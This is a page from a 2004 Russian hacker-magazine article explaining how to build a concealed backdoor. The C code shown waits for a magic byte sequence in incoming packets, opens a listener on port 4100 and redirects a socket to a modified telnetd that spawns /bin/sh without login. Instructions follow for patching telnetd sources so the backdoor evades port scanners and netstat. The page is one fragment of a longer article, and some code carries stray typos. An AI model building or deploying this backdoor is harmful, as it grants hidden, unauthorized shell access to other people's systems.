Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #62, ФЕВРАЛЬ 2004 г.

Как хакеры пишут свои бэкдоры

Forb (forb@real.xakep.ru)

Xakep, номер #062, стр. 062-060-2


for(;;){

l=recv(sock, buff, sizeof(buff), 0);

/* читаем один пакет, длину пакета - в l */

for(x=0;x<l-4;x++)2

if(buff[x+0]==0x01)

if(buff[x+1]==0x70)

if(buff[x+2]==0x17)

if(buff[x+3]==0x01){

/* если в буфере найдена последовательность байт 01701701... */

optime=time(NULL); /* /* запоминаем время активации */

listen_sock(); /* активируем бэкдор */

}

if(time(NULL)-optime>10){ /* если активация была больше 10 сек назад */

close(serv_socket);

serv_socket=-1; /* деактивируем бэкдор*/

}

Действуем незаметно

Все просто. Если ты посмотришь весь код, то найдешь инициализацию сокета (serv_socket) и процедуру listen_sock. После открытия 4100 порта происходит переопределение дескрипторов (STDIN, STDOUT и STDERR) и передача управления стандартному telnetd.

Переопределение дескрипторов

int cli_sock=accept(serv_socket, &sa, &salen);

/* принимаем подключение */

if(fork()==0){ /* создаем дубликат процесса */

dup2(cli_sock,0);

dup2(cli_sock,1);

dup2(cli_sock,2);

/* перенаправляем stdin, stdout, stderr в сокет */

telnetd_main(argc,argv,env);

/* Вызываем главную процедуру telnetd */

}

else close(cli_sock);

/* Закрываем сокет (в теле родительского процесса) */

}

Теперь следует задуматься о корректном завершении потомков, иначе таблица будет переполнена zombie-процессами. Для этого определим реакцию на сигнал SIG_CHLD, передающийся родителю и сигнализирующий о том, что его ребенок умер. В этом случае осуществляем переход на процедуру sig_child.

Защита от zombie: процедура sig_child

void sig_child(int i){

signal(SIGCHLD, sig_child);

/* восстановим обработчик сигнала */

waitpid(-1, NULL, WNOHANG);

/* отправляем зомби в могилу ;)*/

}

Перейдем к следующему шагу: модификации файла telnetd.c. Здесь все просто – необходимо лишь изменить название процедуры main() на telnetd_main(). Это надо сделать, чтобы при старте бинарника запускалась обработка нашей процедуры main() в main.c, а только затем telnetd_main() в telnetd.c.

Теперь поменяем файл sys_term.c. Его придется скорректировать, т.к. после передачи управления бинарнику /bin/login (которую осуществляет telnetd), ему будет передана туева куча параметров. В нашем случае запустится обычный интерпретатор, поэтому поддержку параметров следует отключить. Для этого закомментируй две последние ссылки на функцию addarg(), встречающиеся в файле sys_term.c. Первую ссылку не трогай, т.к. в ней идет передача первого атрибута. Он является исполняемым файлом /bin/login (в нашем случае /bin/sh). После этого запуск интерпретатора будет осуществляться без параметров. Собственно, этого мы и хотели.

Посмотрим, что же у нас получилось: теперь бэкдор не светится в процессах, а активизируется посредством inetd, только когда по сети пройдет специальный пакет. Так что никакой портсканер и нетстат не смогут обнаружить этот бэкдор. К тому же мы избавились от ненужных атрибутов, передаваемых /bin/login’у (запускаем не login, а sh-интерпретатор).

Остался небольшой момент - смена пути. Он прописан в файле pathnames.h. Я думаю, ты и сам разберешься, что и где там смодифицировать. Если не знаешь, то изучай сорцы.

Назад на стр. 062-060-1  Содержание  Вперед на стр. 062-060-3